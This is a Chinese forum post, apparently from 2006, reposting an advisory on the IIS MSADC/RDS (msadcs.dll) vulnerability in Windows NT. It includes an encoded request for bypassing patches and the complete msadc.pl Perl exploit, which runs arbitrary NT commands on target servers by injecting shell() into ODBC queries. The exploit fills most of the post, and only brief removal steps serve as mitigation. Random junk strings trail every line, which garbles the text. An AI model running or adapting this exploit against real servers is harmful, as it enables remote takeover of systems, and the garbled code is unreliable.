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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) "9kEqz4a  
~NU~jmT2  
涉及程序: q_cqjly<  
Microsoft NT server PJO;[: .I  
0S/&^  
描述: mUcHsCszH  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 L?Wl#wP\;*  
.N/4+[2p(  
详细: /~g M,*  
如果你没有时间读详细内容的话,就删除: R;I}#b cJ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 6<rc]T'|  
有关的安全问题就没有了。 !l.Rv_o<O  
sE>'~ +1_O  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 z_A%>E4  
WYEvW<Hv  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 3i35F.=X,  
关于利用ODBC远程漏洞的描述,请参看: Vk0O^o  
cf0em!  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm O!Mm~@MoA  
Oo rH  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 r8^1JJ~\  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp )TRDM[u  
E%H,Hk^  
这里不再论述。 e<iTU?eJM  
q.Z0Q  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: "=4=Q\0PT  
w$61+KHK  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 0vQkm<  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! "]zq<LmX  
@OwU[\6fc}  
R`TM@aaS:  
#将下面这段保存为txt文件,然后: "perl -x 文件名" _@?]!J[  
w:z_EV!&  
#!perl V!]e#QH;  
# -J? df  
# MSADC/RDS 'usage' (aka exploit) script f4@Dn >BJ  
# z81I2?v[Jr  
# by rain.forest.puppy BtU,1`El5  
# - VR u^l#  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me aL#b8dCy'  
# beta test and find errors! 9&rn3hmP  
b-~`A;pr  
use Socket; use Getopt::Std; Szwa2IdI.  
getopts("e:vd:h:XR", \%args); mUnn k`v  
,aawtdt/  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Ix1ec^?f  
pC#Z]_k  
if (!defined $args{h} && !defined $args{R}) { LNg[fF^:  
print qq~ 3b%y+?-{\u  
Usage: msadc.pl -h <host> { -d <delay> -X -v } W=F?+Kg L  
-h <host> = host you want to scan (ip or domain) I&1Mh4yu  
-d <seconds> = delay between calls, default 1 second ]*):2%f  
-X = dump Index Server path table, if available (_<ruwV]`  
-v = verbose u@==Ut  
-e = external dictionary file for step 5 'e{e>>03  
\ZCc~muR  
Or a -R will resume a command session )o9CFhFB  
ap;*qiNFQ  
~; exit;} i$%;z~#wW  
(Ca\$p7/  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; joM98H@  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} K;[V`)d'  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} K")-P9I6-f  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Jc{zi^)(EN  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Yng9_w9Y  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } b3Y9  
L$7v;R3  
if (!defined $args{R}){ $ret = &has_msadc; sjShm  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} KwpNS(]I  
7sHtJr  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" &y Vii^  
. "cmd /c "; V4V TP]'n  
$in=<STDIN>; chomp $in; "8{u_+_B*  
$command="cmd /c " . $in ; I&>R]DV  
iW)FjDTP  
if (defined $args{R}) {&load; exit;} OaU$ [Z'8  
?*}V>h 8m)  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; VZ_ 4B *D  
&try_btcustmr; J5|Dduv  
H+*o @0C\~  
print "\nStep 2: Trying to make our own DSN..."; I:mJWe  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ]IyC  
/xf %Rp4}  
print "\nStep 3: Trying known DSNs..."; _NqEhf:8  
&known_dsn; (sr_& 7A  
=( Gv_  
print "\nStep 4: Trying known .mdbs..."; kFuaLEJi  
&known_mdb; {#Gr=iv~N  
`[o^w(l:5@  
if (defined $args{e}){ !^`ZHJ-3>;  
print "\nStep 5: Trying dictionary of DSN names..."; /*D]4AK  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } RQ/X{<lQ)  
!f7}5/YC7v  
print "Sorry Charley...maybe next time?\n"; ih1SN,/  
exit; |q5\1}@:  
??1V__w  
############################################################################## fyQAQZT  
=>ph\  
sub sendraw { # ripped and modded from whisker !7 *X{D v  
sleep($delay); # it's a DoS on the server! At least on mine... 4fpz;2%  
my ($pstr)=@_; #( X4M{I  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z,DEBRT+  
die("Socket problems\n"); . 1?AU 6\  
if(connect(S,pack "SnA4x8",2,80,$target)){ WOgbz&S?J  
select(S); $|=1; j##IJm  
print $pstr; my @in=<S>; GHYgSS  
select(STDOUT); close(S); hiP^*5h  
return @in; ChmPO|2F  
} else { die("Can't connect...\n"); }} vK2L"e  
`n5|4yaG~  
############################################################################## a*%>H(x  
Ce`{M&NSWX  
sub make_header { # make the HTTP request dc%+f  
my $msadc=<<EOT Is?0q@  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 T4\,b  
User-Agent: ACTIVEDATA trgj]|?M  
Host: $ip DSET!F;PG  
Content-Length: $clen LD^V="d  
Connection: Keep-Alive % YU(,83(+  
EJZl'CR  
ADCClientVersion:01.06 oD!72W_:  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 N,Y<mX  
*K m%Vl  
--!ADM!ROX!YOUR!WORLD! 6 D~b9 e  
Content-Type: application/x-varg 4[+n;OI  
Content-Length: $reqlen rxm!'.+  
f4X?\eGT  
EOT })T_D\2M  
; $msadc=~s/\n/\r\n/g; xmq~:fcU=  
return $msadc;} ^*}L9Ot~  
M^+~r,D1u  
############################################################################## = #ocp  
roL~r`f`  
sub make_req { # make the RDS request H#wn3O  
my ($switch, $p1, $p2)=@_; Ld+}T"Z&M>  
my $req=""; my $t1, $t2, $query, $dsn; pBmacFP  
Mb?6c y[  
if ($switch==1){ # this is the btcustmr.mdb query \zgRzO'N  
$query="Select * from Customers where City=" . make_shell(); gpE5ua&  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ot-!_w<  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} $IB@|n  
"R):B~8|H{  
elsif ($switch==2){ # this is general make table query xE4T\%-K  
$query="create table AZZ (B int, C varchar(10))"; g-')|0py  
$dsn="$p1";} { -<h5_h@  
<7)Vj*VxC  
elsif ($switch==3){ # this is general exploit table query [ &R-YQ@  
$query="select * from AZZ where C=" . make_shell(); rj<%_d'Z`  
$dsn="$p1";} 0)9GkHVu(  
~v+& ?dg  
elsif ($switch==4){ # attempt to hork file info from index server b6);bX>e  
$query="select path from scope()"; ;:"~utL7  
$dsn="Provider=MSIDXS;";} ,:;nq>;  
u4+)lvt  
elsif ($switch==5){ # bad query c67O/ B(  
$query="select"; Ak>RLD25_  
$dsn="$p1";} =X-$k k  
0~n= |3*P  
$t1= make_unicode($query); ^HC! my  
$t2= make_unicode($dsn); iFga==rw  
$req = "\x02\x00\x03\x00"; }5DyNfZ]+0  
$req.= "\x08\x00" . pack ("S1", length($t1)); ^$rt|]  
$req.= "\x00\x00" . $t1 ; V^?+|8_(  
$req.= "\x08\x00" . pack ("S1", length($t2)); 183'1Z$KA  
$req.= "\x00\x00" . $t2 ; p &XbXg-  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; )"j_ NlO  
return $req;} TKj9s'/  
% J+'7'g  
############################################################################## ^R K[-tVV  
"$ u"Py  
sub make_shell { # this makes the shell() statement nQ/(*d  
return "'|shell(\"$command\")|'";} 8!:4m"Y  
nLo:\I(  
############################################################################## B;?a. 81~  
$,'r} %  
sub make_unicode { # quick little function to convert to unicode 7xWX:2l*?  
my ($in)=@_; my $out; #4~Ivj  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } HM ^rk  
return $out;} FC vR  
H(n_g QAX  
############################################################################## 7J0 PO}N  
s g6  
sub rdo_success { # checks for RDO return success (this is kludge) S{ fNeK  
my (@in) = @_; my $base=content_start(@in); c3K(mM:  
if($in[$base]=~/multipart\/mixed/){ E/5w H/  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Kd^ ._  
return 0;} 9J l9\y9  
G0a UZCw  
############################################################################## @bD,^3U  
dR $@vDm  
sub make_dsn { # this makes a DSN for us {Ivu"<`L3  
my @drives=("c","d","e","f"); ~EX/IIa{  
print "\nMaking DSN: "; B4U+q|OD#  
foreach $drive (@drives) { !aIIjWz]  
print "$drive: "; 2BRY2EF  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . V{c n1Af  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" eQzSWn[  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); JX>_imo  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; _gw~A {O  
return 0 if $2 eq "404"; # not found/doesn't exist [&)9|EV  
if($2 eq "200") { bYow EzieF  
foreach $line (@results) { RHE< QG  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} =Z%&jul  
} return 0;} K<\TF+  
>f}rM20Vm  
############################################################################## c AIS?]1  
W 4 )^8/  
sub verify_exists { O:k@'&  
my ($page)=@_; Fvi<5v  
my @results=sendraw("GET $page HTTP/1.0\n\n"); :c<C;.  
return $results[0];} mezP"N=L~  
qj=12;  
############################################################################## C2DNyMu  
H-0deJ[>  
sub try_btcustmr { ]TD]    
my @drives=("c","d","e","f"); !k%Vw1 8  
my @dirs=("winnt","winnt35","winnt351","win","windows"); hM+nA::w  
s )_sLt8?  
foreach $dir (@dirs) { <fN?=u+  
print "$dir -> "; # fun status so you can see progress u3"F7 lJ  
foreach $drive (@drives) { HLTz|P0JZ  
print "$drive: "; # ditto 2Ni2Gkf@  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; |V:k8Ab  
$reqlenlen=length( "$reqlen" ); h*d&2>"0m?  
$clen= 206 + $reqlenlen + $reqlen; }2JSa8  
"&v?>  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \XmtSfFC  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} d4A}BTs1  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}  rd. "mG.  
Q:@Y/4=  
############################################################################## va#~ \%`  
DF9Br D0{  
sub odbc_error { rZGA9duy  
my (@in)=@_; my $base; =cqaA^HQL  
my $base = content_start(@in); vhKeW(z  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this D:%$a]_f  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =d( 6 )  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Q_M2!qj  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *>Om3[D  
return $in[$base+4].$in[$base+5].$in[$base+6];} >TK`s@jdSV  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; =:9n+7~$  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ;jI\MZ~l\  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} G}] ZZ  
2t#9ih"9  
############################################################################## kA\;h|Y3  
qH"0?<$9  
sub verbose { N tg#-_]  
my ($in)=@_; 24|:VxO  
return if !$verbose; kD"dZQx  
print STDOUT "\n$in\n";} :i?Z1x1`  
U3A>#EV  
############################################################################## +.[#C5  
gy~M]u{  
sub save { 5M*q{kX)  
my ($p1, $p2, $p3, $p4)=@_; ZhM-F0;`  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; y\)bxmC  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 9l OUE  
close OUT;} -/7[_,  
Tcr&{S&o  
############################################################################## /`2VJw  
%xWmzdn  
sub load { <6- (a;T!7  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 0*q~(.>a  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); iY.~N#Q  
@p=<IN>; close(IN); VJuPC  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); T73saeN  
$target= inet_aton($ip) || die("inet_aton problems"); xI_WkoI  
print "Resuming to $ip ..."; WV?iYX!  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; c( gUH  
if($p[1]==1) { "ve?7&G7U  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; mQ' ]0DS  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; rPr#V1}1a  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); rA{h/T"  
if (rdo_success(@results)){print "Success!\n";} !A!zG)Ue<  
else { print "failed\n"; verbose(odbc_error(@results));}} uA\A4  
elsif ($p[1]==3){ O(WFjmHx  
if(run_query("$p[3]")){ _BcB@a  
print "Success!\n";} else { print "failed\n"; }} OJkPlDym  
elsif ($p[1]==4){ ^!Bpev  
if(run_query($drvst . "$p[3]")){ ,gD30Pylz  
print "Success!\n"; } else { print "failed\n"; }} (}] 74Lc  
exit;} "ZT=[&2  
1NJ*EzJ~?  
############################################################################## ~x>IN1Vci  
 0fNWI  
sub create_table { KLA nW#  
my ($in)=@_; 8v(Xr}q,r  
$reqlen=length( make_req(2,$in,"") ) - 28; w&C SE  
$reqlenlen=length( "$reqlen" ); =fG(K!AQ  
$clen= 206 + $reqlenlen + $reqlen; QZQ@C#PR;  
my @results=sendraw(make_header() . make_req(2,$in,"")); ;|9VPv/  
return 1 if rdo_success(@results); o)1wF X  
my $temp= odbc_error(@results); verbose($temp); q_HD`tW  
return 1 if $temp=~/Table 'AZZ' already exists/; 9n9/[?S  
return 0;} <*4=sX@  
{jlm]<:&Z  
############################################################################## "D@m/l  
>o'D/'>ku  
sub known_dsn { 5Ko "-  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 9DPf2`*$  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ls #O0  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", '[Nu;(>a  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Uf_w o  
a ,W5T8  
foreach $dSn (@dsns) { mb\vHu*53  
print "."; * Q51'?y  
next if (!is_access("DSN=$dSn")); Z(U&0GH`  
if(create_table("DSN=$dSn")){ y"7TO#  
print "$dSn successful\n"; NW!e@;E+i  
if(run_query("DSN=$dSn")){ Km\M /j|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { L~vNW6#W  
print "Something's borked. Use verbose next time\n";}}} print "\n";} z[OW%(vrm  
2evM|Dj  
############################################################################## ^{Syg;F=  
Nnv&~ D>  
sub is_access { ,0#OA* 0B  
my ($in)=@_; `.[hOQ7  
$reqlen=length( make_req(5,$in,"") ) - 28; GlD@Ud>o)  
$reqlenlen=length( "$reqlen" ); Q9W*)gBv n  
$clen= 206 + $reqlenlen + $reqlen; UP,0`fh(y  
my @results=sendraw(make_header() . make_req(5,$in,"")); T_YN^za(q  
my $temp= odbc_error(@results); azOp53zR  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); wiwJD}3h'  
return 0;} nC>#@*+jK  
aY3kww`  
############################################################################## G-,PsXSwe  
:5@7z9 >  
sub run_query { p'xj:bB  
my ($in)=@_; VFG)|Z  
$reqlen=length( make_req(3,$in,"") ) - 28; `{tykYwCLc  
$reqlenlen=length( "$reqlen" ); 1 4(?mM3   
$clen= 206 + $reqlenlen + $reqlen; -Ca.:zX  
my @results=sendraw(make_header() . make_req(3,$in,"")); ;5y!,OF6  
return 1 if rdo_success(@results); 4b7}Sr=`  
my $temp= odbc_error(@results); verbose($temp); S0p]:r ";x  
return 0;} #9 } Oqm  
EHo"y.ODg  
############################################################################## M c@p~5!M  
QRt(?96  
sub known_mdb { I`5MAvP  
my @drives=("c","d","e","f","g"); 5Vut4px  
my @dirs=("winnt","winnt35","winnt351","win","windows"); |wK)(s  
my $dir, $drive, $mdb; cH2 nG:H  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; TR ]lP<m  
{9C(\i +  
# this is sparse, because I don't know of many Az0Yt31=  
my @sysmdbs=( "\\catroot\\icatalog.mdb", C5XCy%h  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", a&Z|3+ZA  
"\\system32\\certmdb.mdb", m=%W<8[V  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 94K ;=5h  
Z.YsxbH3  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #Oe=G:+A  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ugMJ}IGq  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", C'zMOR6c  
"\\cfusion\\cfapps\\security\\realm_.mdb", tx5@r;  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", -U; s,>\)  
"\\cfusion\\database\\cfexamples.mdb", KZD&Ih(vC  
"\\cfusion\\database\\cfsnippets.mdb", tK8\Ib J  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", E}" &? oY  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Xwx;m/  
"\\cfusion\\brighttiger\\database\\cleam.mdb",  hi.{  
"\\cfusion\\database\\smpolicy.mdb", 1 u&P,&T  
"\\cfusion\\database\cypress.mdb", C,fIwqOr3  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", M_*w)<  
"\\website\\cgi-win\\dbsample.mdb", e@ F& /c  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", yChC&kX Z+  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 7a@V2cr@  
); #these are just 0imz }Z]  
foreach $drive (@drives) { uy`U1>  
foreach $dir (@dirs){ '# (lq5 c  
foreach $mdb (@sysmdbs) { ?$r+#'asd(  
print "."; *NXwllrci  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ V(w[`^I>~  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ^P{'l^CVX  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ hXM C!~Th  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Ea P#~x  
} else { print "Something's borked. Use verbose next time\n"; }}}}} +S3'ms  
%81tVhg  
foreach $drive (@drives) { `_<AZ{&&  
foreach $mdb (@mdbs) { qTffh{q V  
print "."; dB_\,%vAd  
if(create_table($drv . $drive . $dir . $mdb)){ ]FFU,me2  
print "\n" . $drive . $dir . $mdb . " successful\n"; /Ee0S8!Z!1  
if(run_query($drv . $drive . $dir . $mdb)){ br'~SXl  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; RA\H?1;8C  
} else { print "Something's borked. Use verbose next time\n"; }}}} e3(0L I  
} n,AN&BZ  
^//N-?Fx  
############################################################################## lg!1q8  
A;Zg:  
sub hork_idx { JaIj 9KLNX  
print "\nAttempting to dump Index Server tables...\n"; %|-Rh^H[JK  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ytAhhwN~  
$reqlen=length( make_req(4,"","") ) - 28; ngdVRJL  
$reqlenlen=length( "$reqlen" ); v $ pA Rt  
$clen= 206 + $reqlenlen + $reqlen; 2\s-4H| q  
my @results=sendraw2(make_header() . make_req(4,"","")); {J99F  
if (rdo_success(@results)){ z<AQ;b  
my $max=@results; my $c; my %d; % yJs"%  
for($c=19; $c<$max; $c++){ 4Y-9W2s  
$results[$c]=~s/\x00//g; 9k83wACry  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; _$fxoD9  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; B}?/oZW 4  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ?G8 D6  
$d{"$1$2"}="";} (tVY /(~#  
foreach $c (keys %d){ print "$c\n"; } "CZ`hx1|^  
} else {print "Index server doesn't seem to be installed.\n"; }} TmQ2;3%  
,xR^8G 8  
############################################################################## y XS/3_A{  
_xmM~q[c7p  
sub dsn_dict { }4bwLO  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); jMw;`yh  
while(<IN>){ g@1MIm c'!  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ~u3I=b  
next if (!is_access("DSN=$dSn")); *qq%)7  
if(create_table("DSN=$dSn")){ n P69W  
print "$dSn successful\n"; ?rv+ydR/q  
if(run_query("DSN=$dSn")){ ^&cI+xZ2Y  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { K zM\+yC  
print "Something's borked. Use verbose next time\n";}}} %K%8 ~B  
print "\n"; close(IN);} xDVzHgbf  
- 6  
############################################################################## @A yC0}  
mFo6f\DHr`  
sub sendraw2 { # ripped and modded from whisker F<^,j7@  
sleep($delay); # it's a DoS on the server! At least on mine... 7p~@S4  
my ($pstr)=@_; dXdU4YJ X  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || sN;U,{  
die("Socket problems\n"); yJKezIL\z  
if(connect(S,pack "SnA4x8",2,80,$target)){  w[VWk  
print "Connected. Getting data"; b"f4}b  
open(OUT,">raw.out"); my @in; MKQa&Dvw  
select(S); $|=1; print $pstr; }"3L>%Q5  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} HD`Gi0  
close(OUT); select(STDOUT); close(S); return @in; \l]jX: 9(  
} else { die("Can't connect...\n"); }} =Qz 8"rt#  
f[dwu39k  
############################################################################## ]Mtb~^joG  
t[^}/ S  
sub content_start { # this will take in the server headers X @\! \  
my (@in)=@_; my $c; YjsaTdZ!&  
for ($c=1;$c<500;$c++) {  _@d.wfM  
if($in[$c] =~/^\x0d\x0a/){ !E$S&zVMQ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 55yP.@i9J  
else { return $c+1; }}} ^@tn+'.  
return -1;} # it should never get here actually 5g/WQo\  
D6v0n6w  
############################################################################## 57HMWlg  
"b} ^ xy  
sub funky { P~]BB.tog  
my (@in)=@_; my $error=odbc_error(@in); !'PPj_Hp]  
if($error=~/ADO could not find the specified provider/){ O81})r*Y  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; w|RG  
exit;} [#)$BXG~y  
if($error=~/A Handler is required/){ N"2@y aN  
print "\nServer has custom handler filters (they most likely are patched)\n"; 8LkC/  
exit;} .11iulQ  
if($error=~/specified Handler has denied Access/){ m_St"`6 .  
print "\nServer has custom handler filters (they most likely are patched)\n"; mX"z$  
exit;}} (6.0gB$aTu  
(s"_NUj6  
############################################################################## E8?Q>%_  
0gt/JI($  
sub has_msadc { ;((gmg7,  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); )6!SFj>.O  
my $base=content_start(@results); OBj .-jL  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);  snN1  
return 0;} P;A"`Il  
e[{LNM{/#  
######################## C \}m_`MR  
ty7a&>G  
Q}]Q0'X8  
解决方案: G\Sd!'?p  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll _c%~\LOk  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 (o e;p a  
~6@~fhu  
拿出来充数 哈哈
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